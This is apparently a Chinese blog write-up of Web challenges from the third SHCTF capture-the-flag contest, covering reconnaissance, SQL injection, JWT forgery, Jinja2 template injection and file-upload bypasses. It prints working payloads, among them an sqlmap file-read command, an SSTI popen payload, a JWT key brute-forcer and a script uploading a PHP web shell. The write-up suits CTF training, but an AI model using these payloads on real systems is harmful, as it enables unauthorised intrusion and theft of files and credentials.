资讯动态

SHCTF第三届Web方向实战复盘:从信息收集到链式利用的完整攻击面解析

发布时间:2026/10/16 3:28:03 来源:尧图企业网站定制
今年SHCTF开赛那会儿我正盯着一道Web题的前端代码发呆。第十分钟的时候我总算在页面的注释里翻到一段被base64包裹的接口路径顺着接口一路摸到管理后台再通过后台一个未授权下载功能把备份代码整个拖了下来——整个流程不到二十分钟却已经绕了四个跳板。那一刻我突然意识到前两届那种“单点漏洞直取flag”的时代已经过去了现在的Web方向题更像是给不同水平的选手设下的分层考卷。这篇内容我想好好拆一拆第三届SHCTF的Web方向。如果你也是第一次接触这类赛事或者已经刷过一些CTF基础但总是卡在Web题那这篇文章应该能帮你理清赛前该储备什么、现场该怎么分配时间以及赛后怎么把题目经验沉淀成下一次的武器。我尽量少讲空泛的理论多讲实际操作和踩坑记录。1. 赛前该储备什么SHCTF Web方向的核心攻击面与解题直觉每年都有大量新手问我Web题到底学什么我的答案从来不是“背两个payload”而是把Web题当成一套接口和数据的组合。比赛中的Web题本质上是在模拟某个有漏洞的业务系统只不过漏洞被刻意放大、路径被刻意隐藏。与其死记工具命令不如先建立一张“看到什么特征该往哪里想”的映射表。1.1 六大高频攻击面与我的第一反应攻击面常见出现位置看到什么特征该兴奋第一步操作SQL注入登录框、搜索框、id参数输入单引号页面报错或id值变化影响内容先判断闭合方式和回显位XSS/CSRF留言板、反馈、用户名输入存在内容回显且题目提到“Bot”或“管理员访问”先看输出点是否被转义文件上传头像上传、附件提交、文件导入上传后缀被限制或返回“类型不允许”先确认是黑名单还是白名单校验SSRF远程图片抓取、URL转码、网页快照参数里带有http://或url先试file:///etc/passwdSSTI任何把输入渲染到模板里的功能输入{{7*7}}页面返回49先识别模板引擎再打链反序列化Cookie值、文件读取接口、Object接收接口看到base64串以O:或一串乱码开头先还原序列化对象看结构这张表看着简单但它帮我避免了很多“对着空气乱打”的情况。举个例子SQL注入的考察点几乎离不开商品详情页或者用户列表页我在比赛里遇到的最常见场景是点开一个商品详情页URL里有个id1把id改成1页面报错改成1 and 12商品列表直接空了改成1 and 11正常显示。出现这种规律基本可以确定存在数字型注入接下来就是用order by判断列数再上联合注入或者布尔盲注。文件上传则是另一种思维。凡是出现“上传头像”“上传附件”功能就应该立刻开始测试后缀限制。很多题目的坑不在上传本身而在上传之后的文件解析是直接访问上传目录还是有个include功能把文件包含进去甚至是通过.htaccess或.user.ini这类配置文件做劫持。这些不是考你背了多少花活而是考你对服务端处理顺序的理解。SSRF这几年出现的频率越来越高而且特别喜欢藏在“获取远程图片”和“URL转换”这类看上去很无辜的功能里。我在题目里看到参数是url或者imagehttp://开头时第一反应就是先丢一个file:///etc/passwd进去如果页面返回了文件内容或者出现读取超时的差异就立刻转向内网探测或云元数据探测。SSTI和反序列化算是对新手最不友好的两类题因为它们要求你不仅知道“有漏洞”还要知道“为什么这条链能执行命令”。我的建议是先把最基础的验证做扎实模板注入就试{{7*7}}反序列化就先看数据能不能被正常解析不要一上来就背长长的payload否则改了环境就抓瞎。1.2 为什么“会读返回包”比“会打工具”更重要工具可以帮你发现漏洞但没法帮你理解题目。我见过太多人卡在一个看似无解的页面上原因是他们只盯着Response Body看完全忽略了状态行、响应头和Set-Cookie字段。有一道题我印象很深接口返回的JSON里只有一行statusfalse看起来毫无线索。但当我用Burp打开Repeater完整查看响应时发现响应头里藏了一个X-Debug-Info字段里面是一段调试日志的路径顺着这个路径找到了数据库日志文件最终拿到了flag。如果只看页面内容这道题永远不会被发现入口。所以我的习惯是拿到任何一个URL第一件事不是打开浏览器看效果而是用curl或者Burp把完整响应拉出来逐一检查状态码、返回头、Body、Cookie。特别是那些看起来“没有功能”的接口往往才是整道题的核心。2. 从三届出题风格变化看Web题型的演进逻辑SHCTF走到第三届Web方向的题目结构已经有了肉眼可见的迭代。第一届给我的整体感觉是“给你甜头”很多题把漏洞直接写在脸上一眼能看出第二届开始考验链条你需要把两三个漏洞串起来才能拿到flag到了第三届明显感觉到项目方在往“多入口、隐蔽路径、组合利用”的方向走。届次题目风格典型考点趋势预估难度第一届单点漏洞为主弱化信息收集SQL注入、文件包含、命令执行基础入门友好第二届开始出现两步利用源码泄漏密码绕过、上传解析漏洞中等第三届入口多、路径隐蔽、环境复杂认证绕过、SSRF内网探测、反序列化链、弱随机数偏高这种变化不是SHCTF独有的几乎所有高校CTF赛事都在往这个方向走。原因很简单单点漏洞已经被工具化太严重了。sqlmap一把梭、Dirsearch乱扫、Payloadscene自动打人人都能跑出个结果题目就失去了区分度。所以出题人开始把重点转向“信息收集”和“思路组合”让你先在一个看上去正常的系统里找到那个唯一的隐藏入口。2.1 单点漏洞变成了“链式利用”前两届你可能会遇到“登录框存在SQL注入直接跑出管理员密码”这种直球题。但现在更多的结构是先通过某个隐藏接口拿到备份文件再从备份文件里审计出另一个漏洞点然后借助这个漏洞点读取内部文件最后才摸到flag。我实际打下来感觉最明显的一条链路是目录扫描发现/api/debug访问后响应头暴露了备份文件路径下载backup.zip源码审计发现管理员登录逻辑存在逻辑缺陷绕过登录后拿到一个上传功能上传php文件被MIME校验拦截修改Content-Type后成功上传访问shell读取flag。这条链每一步单独拆开都不难但难在你要敢顺着线索一步步走而不是在第一步没结果时就换题目。比赛中大量时间其实花在“判断某条路值不值得继续走”上链式利用题恰恰是在训练这件事。2.2 “框架漏洞”和“通用组件”的权重在上升现在的Web题很少再用裸写PHP手搓SQL了而是会模拟一套真实环境比如基于某个开源框架二改或者直接在容器里跑完整业务系统。于是框架本身的特性就变成了考点Java系的Fastjson反序列化、Spring Boot Actuator配置泄露Python系的Flask调试模式、SSTIPHP系的ThinkPHP缓存问题和反序列化利用链。遇到这种题快速识别框架能省下大量时间。我的识别流程是这样抓包看Server头和X-Powered-By很多框架都会在响应头里留下特征看Cookie格式比如Java的JSESSIONID、PHP的PHPSESSID、Flask的session都是base64串看URL路由风格Spring Boot常见/api/v1/xxxThinkPHP常见index.php?s/xxx/yyy用一组默认路径直接撞比如/actuator/env、/.git/config、/www.zip、/backup.zip、/robots.txt。这套流程听起来像体力活但它能帮你把“找入口”从大海捞针变成精准定位。框架题最怕的就是你在错误的方向上浪费时间识别框架其实就是给整道题定一个搜索范围。3. 四道典型题目的解题链路复盘与工具调用接下来进入实战复盘。我会用完全虚构的题目代号来还原过程尽量把每一步的工具、现象和判断依据写清楚方便你复现思路。3.1 第一题隐藏接口泄露备份源码SQL注入收尾打开题目是一个商品展示页面列表、详情、搜索功能都正常。我第一步直接上目录扫描ffuf -u http://target:port/FUZZ -w dict.txt -mc 200,301,302,403 -t 50扫了一会儿发现一个/dev_api路径访问之后返回了一段JSON其中一个字段是debug_backup_url指向/api/debug/backup。我当时的第一反应是这是一个典型的“信息泄漏引导层”后面大概率有源码。访问备份地址拿到backup.zip解压后是个小型PHP项目。打开关键文件看到商品详情功能的SQL语句是直接拼接id参数的没走任何预编译$id $_GET[id]; $sql SELECT * FROM products WHERE id $id;这种漏洞在比赛中太经典了直接用sqlmap验证也行但我习惯先手动确认id1 正常 id1 报错 id1 and 11 正常 id1 and 12 无回显确认存在注入后由于回显位明确上手跑数据。比赛环境一般不会开高权限所以直接读文件往往比翻数据库更快sqlmap -u http://target:port/product.php?id1 --file-read/var/www/html/flag.txt读出来的内容就是flag。这道题的核心思路不是注入本身而是你要先通过目录发现dev_api再顺着调试信息下载备份源码最后从源码审计找到注入点。每一步都有明确的“证据链”跟着证据走比盲扫高效得多。3.2 第二题JWT弱密钥与算法混淆这题提供了一个登录页注册普通账号后登录拿到一个JWT。页面有个/admin路径直接访问提示权限不足翻看Cookie里的token是一个标准的三段式JWT。我的第一步是把JWT的Header和Payload解出来看结构发现Header里写着{alg:HS256,typ:JWT}先试一把最简单的算法混淆把alg改成none然后把Payload里的user改成admin重新用base64编码生成一个无签名的token提交。如果服务端存在算法混淆漏洞它会直接把这个token当作有效身份。运气不错这一题直接放行了。如果没放行还有第二套思路爆破弱密钥。很多题目会用“123456”“secret”这样的弱密钥去签JWT。用一个小脚本去撞python3 jwt_tool.py original_token -C -d /usr/share/wordlists/rockyou.txt或者自己写个循环。核心逻辑就是拿字典里的每个词去签同样的payload看签名是否匹配import jwt import sys token sys.argv[1] with open(dict.txt) as f: for line in f: secret line.strip() try: decoded jwt.decode(token, secret, algorithms[HS256]) print(密钥是:, secret) break except Exception: continue拿到密钥后自己重新签发一个useradmin的JWT替换掉原来的Cookie刷新/admin页面就能看到flag。这题的教训是JWT的考点翻来覆去就是算法混淆和弱密钥两类只要看到Cookie里是JWT优先级直接拉满。3.3 第三题Flask模板注入SSTI从探测到执行命令打开是一个“留言板”输入内容会显示在页面上。我随手提交了一个测试内容显示时原样输出没看到明显过滤。按老规矩先试模板注入的经典探测串{{7*7}}页面回显了49。确认是SSTI后第二步是确认模板引擎。看响应头里的Server字段没暴露太多但从URL路由风格和session格式判断大概率是Flask/Jinja2。识别出来之后我习惯先用最直接的全局变量链尝试RCE。Jinja2里很多payload的核心思路都是通过当前对象找到Python环境再找到os模块最终执行命令{{config.__class__.__init__.__globals__[os].popen(cat /flag).read()}}如果题目环境里直接能访问到os这个payload会直接返回flag内容。如果不行再退回{{.__class__.__mro__[2].__subclasses__()}}去找可用的执行类。这一步比较耗时因为要在几百个子类里找Popen或eval比赛时可以用脚本辅助检索。这里想提醒一句SSTI题一定先看回显再看过滤。有些题会过滤{{你就用{%块语句来探测有些题会过滤.和[]那你就要换attr过滤器或者拼接符号。先探测清楚环境过滤规则再选对应payload而不是一上来就贴一个长篇。3.4 第四题文件上传的双重校验绕过这题是一个“用户中心”的头像上传功能上传PHP文件时页面提示“文件类型不允许”。我用Burp拦截上传请求发现Content-Type被改成image/png但页面仍然提示类型错误说明后端不是只看Content-Type。换思路看一下后端是否做了扩展名白名单。我上传了一个shell.php.png页面提示上传成功但访问upload/shell.php.png时只是下载而不是解析。这说明存在后缀白名单校验。再试经典绕过组合把文件命名为shell.php.jpg同时用Burp改包去掉.jpg只保留shell.php再上传一次。有些题目会校验Content-Type和扩展名但不会检查文件内容有些题目则是Web服务器配置了多后缀解析漏洞文件名是shell.php.jpg时中间件会优先按php解析。最终能打通的路子是上传一个内容为PHP短标签的一句话文件文件名是shell.phpContent-Type改成image/png后缀校验被绕过直接访问得到shell入口执行命令拿到flag。这道题给我的经验是不要只测一种绕过方式。黑名单、白名单、MIME检测、内容检测每一种过滤方式都有对应的绕过组合你需要根据每次返回的提示逐步缩小范围。发现一种姿势无效马上换下一个不要在一个点位上死磕。4. 比赛现场的时间分配与卡题处置经验很多选手实力不差但输在时间分配上。CTF是限时游戏拿分效率往往比单题死磕更重要。这里分享几套我一直在用的现场策略。4.1 开局二十分钟先做“侦查三件事”比赛一开始我不会急着去逐个点开每道题的功能。先把所有题目URL列出来全部请求一遍记录状态码和响应头然后再对每个域名做一轮轻量目录扫描。ffuf -u http://target/FUZZ -w api_paths.txt -mc 200,301,302,403扫描的同时把所有返回200或异常响应的路径集中整理出来。接着根据题目的名字和描述做初步分类题名里有upload的往文件上传想题名里有admin的往权限绕过想题名里带login的优先测SQL注入和认证逻辑。这个过程控制在二十分钟内完成。它的价值不是扫出所有漏洞而是让你对整个比赛有多少道Web题、每道题大概在考什么方向、哪些题看起来最简单有一个全貌判断。4.2 单题卡住四十分钟就果断“止损”我自己的规则很简单如果一道题花了四十分钟还没有任何实质进展就先跳过去做其他题。不是放弃了而是把这道题放进“待定队列”等公共信息出来之后再回头。实际操作中卡题时最忌讳的就是反复用同一个工具打同一个点。如果目录扫描没结果换个字典再扫一次如果Burp里改了包没反应换成curl脚本直接跑排除界面干扰如果正常的利用链走不通反向想想是不是自己漏了某个入口。另一个好用的策略是盯排行板。很多平台会实时公示某道题已解出的队伍数量一旦看到自己卡住的题目突然多了几个解出队伍说明它并不是无解的偏题要么是公告有提示要么是漏洞点比较隐蔽需要换个思路。4.3 环境类问题和flag格式检查线上赛经常遇到容器被重置、服务不稳定、题目环境崩溃的情况。如果你某条链路走到一半突然连不上目标了先不要怀疑自己看看比赛公告是不是在更新环境。有些时候题目容器会在比赛期间多次重置你的进度会丢这种时候情绪管理比技术更重要。另外就是flag格式。每年都有选手一脸自信地交答案结果被判错最后发现只是多加了个花括号或者少了前缀。提交之前一定要再读一遍题目描述里的flag格式说明通常写得很清楚比如SHCTF{...}。我有一次就是拿着SQL查询结果直接提交结果那份结果里混了一个换行符判题不通过清洗一下数据再提交就好了。5. 赛后沉淀我的Web刷题清单与笔记方法比赛是一时的沉淀才是长期的。打完第三届SHCTF之后我自己的资料库又多了一批新案例。这里聊聊我平时是怎么整理Web方向笔记的。5.1 常用工具链与使用习惯工具我用它来做什么备注Burp Suite抓包、改包、Repeater重放最核心的阵地没有替代品ffuf目录爆破、参数模糊测试字典很重要别用默认dict糊弄sqlmapSQL注入半自动验证关键参数一定手拼不能全交给工具CyberChefbase64/hex/URL编码转换解码编码一站式jwt_toolJWT测试与弱密钥爆破比手写脚本省事自写requests脚本快速复现利用链、批量测试很多环境用脚本比GUI快得多这里想特别强调一下自写脚本的习惯。Burp适合交互式调试但一旦你需要循环测试几百个参数或者模拟一次完整请求链用Python的requests写几十行脚本效率和可重复性都比手工操作高得多。我的脚本库里有一个通用模板改改URL、Cookie和Payload就能复用import requests url http://target:port/upload headers { User-Agent: Mozilla/5.0, Cookie: sessionxxx } files { file: (shell.php, ?php system($_GET[cmd]); ?, image/png) } r requests.post(url, headersheaders, filesfiles, timeout10) print(r.status_code, r.text[:500])5.2 把每道错题变成“三字段”笔记每次比赛结束后我都会用最短的时间把每道题拆成三个字段写进笔记入口点题目里你发现漏洞的地方比如登录页username参数、/api/debug接口利用点真正执行攻击的地方比如SQL注入回显点、SSTI渲染点拿flag路径从入口到最终读取flag的完整链路比如“未授权访问下载备份-源码审计-SQL注入-读文件”。例如题目某商品站 入口点商品详情页id参数 利用点数字型SQL注入联合注入回显 路径id1确认注入 - order by 3确认列数 - union select 1,load_file(/var/www/html/flag.txt),3这种三字段笔记看着简单但积累几十条之后你在下次比赛里看到某个页面特征会立刻想起以前处理过类似结构直接跳到对应方案节省大量试错时间。5.3 给新手的进阶建议如果你刚接触Web方向我的三条建议是第一不要光学工具命令要去学工具背后的原理。能用sqlmap跑出结果不算本事能用手工确认注入点、理解为什么这个payload能生效才是本事。工具替你省下的时间应该用来读源码和分析逻辑。第二把源码审计能力当成核心能力来练。很多链式利用题的瓶颈不在攻击工具而在你能不能从几十个文件里快速找到那一个有漏洞的代码块。可以多读一些开源PHP项目练习在代码里搜SQL拼接、命令执行、文件操作这类关键词。第三先广后深。早期参加比赛不要死磕某类难题把所有常见题型都过一遍建立整体知识图景再慢慢往SSTI、反序列化、复杂利用链这些深水区钻研。没有广度打底深度也走不远。我打了这么几年Web题最深的体会是这类题永远在考两件事一是你对HTTP协议和代码执行的理解够不够扎实二是你面对陌生系统时能不能静下来分析业务逻辑。工具和payload会更新但是“入口-利用-路径”的分析方法不会变。如果这篇复盘能帮你在下一场里少花半小时去试错那也算值了。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑